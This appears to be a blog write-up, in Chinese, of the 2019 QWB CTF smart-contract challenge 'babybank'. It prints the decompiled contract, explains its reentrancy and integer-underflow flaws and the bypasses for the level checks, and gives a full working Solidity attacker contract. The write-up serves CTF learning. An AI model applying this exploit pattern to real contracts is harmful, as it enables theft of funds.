2019強網杯babybank wp及淺析
前言
2019強網杯CTF智慧合約題目--babybank wp及淺析
ps:本文最先寫在我的新部落格上,後面會以新部落格為主,看心情會把文章同步過來
分析
反編譯
使用OnlineSolidityDecompiler對合約進行逆向,獲取合約原始碼虛擬碼
參考其他師傅的分析,貼出美化之後的合約原始碼
pragma solidity ^0.4.23; contract babybank { // 0xe3d670d7 0 mapping(address => uint) public balance; // 0xd41b6db6 1 mapping(address => uint) public level; // 2 address owner; // 3 uint secret; //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. //Gmail is ok. 163 and qq may have some problems. event sendflag(string md5ofteamtoken,string b64email); constructor()public{ owner = msg.sender; } //0x8c0320de function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] >= 10000000000); balance[msg.sender]=0; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); } modifier onlyOwner(){ require(msg.sender == owner); _; } //0x2e1a7d4d function withdraw(uint256 amount) public { require(amount == 2); require(amount <= balance[msg.sender]); // 重入漏洞 address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)(); // 整形下溢位 balance[msg.sender] -= amount; } //0x66d16cc3 function profit() public { require(level[msg.sender] == 0); require(msg.sender & 0xffff == 0xb1b1); balance[msg.sender] += 1; level[msg.sender] += 1; } // 0xa5e9585f function xxx(uint256 number) public onlyOwner { secret = number; } // 0x9189fec1 function guess(uint256 number) public { require(number == secret); require(level[msg.sender] == 1); balance[msg.sender] += 1; level[msg.sender] += 1; } // 0xa9059cbb function transfer(address to, uint256 amount) public { require(balance[msg.sender] >= amount); require(amount == 2); require(level[msg.sender] == 2); balance[msg.sender] = 0; balance[to] = amount; } }
賦予合約ETH
合約初始狀態無ETH,無法執行操作,故需讓合約地址擁有一定量的ETH
而合約程式碼中並沒有相關可以轉入ETH的操作,因此只能通過帶入ETH執行自毀讓ETH強行轉入合約地址中
構造自毀函式kill
function kill() public payable { selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f)); }
帶入0.2ETH利用kill函式自銷燬,強行向合約轉入0.2ETH
繞過利用分析
合約發起sendflag
需要超過10000000000
的token
而withdraw
但限制了一次只能取款2token以及取款者賬戶token需要大於等於2
再來看如何增加token
增加token的函式只有profit
和guess
兩個函式
profit
函式驗證地址低4位為0xb1b1
;且只能在初始狀態即level=0
的時候呼叫一次,呼叫一次之後level
提升為1,balance
+1
guess
函式會驗證secret
值,而secret
值由只能合約所有者呼叫的xxx
函式賦予;且需要level=1
,呼叫一次之後level
提升為2,balance
+1
那麼函式呼叫流程就出來了,先profit()
再guess()
profit
函式的繞過,可通過vanity eth獲取一個符合條件的地址
guess
函式的繞過,secret值在合約交易資訊中可找到
合約部署者的最後一次交易事件中,InputData
函式選擇器中,前4個位元組0xa5e9585f
為xxx
函式的函式簽名,其引數就是部署者呼叫xxx
函式所傳入的引數,即為secret
值
至此,通過了profit
,guess
,滿足withdraw
的取款條件
由於withdraw
函式存在重入漏洞以及溢位
構造攻擊合約,利用重入漏洞以及溢位可獲取鉅額代幣,併發起payforflag
操作
pragma solidity ^0.4.24; interface BabybankInterface { function withdraw(uint256 amount) external; function profit() external; function guess(uint256 number) external; function transfer(address to, uint256 amount) external; function payforflag(string md5ofteamtoken, string b64email) external; } contract attacker { BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f); uint private flag = 0; function exploit() public payable { target.profit(); target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca); target.withdraw(2); target.payforflag("hunya", "hunya"); } function() external payable { require (flag == 0); flag = 1; target.withdraw(2); } }
合約交易記錄中可看到一系列操作,最後的一個交易是將合約中的ETH全部提現到合約所有者地址中,應該是清空ETH為了讓下一個做題者又從合約0ETH狀態開始做
檢視事件記錄,已有sendflag
事件
參考
https://zhuanlan.zhihu.com/p/67205187
https://xz.aliyun.com/t/5281
&n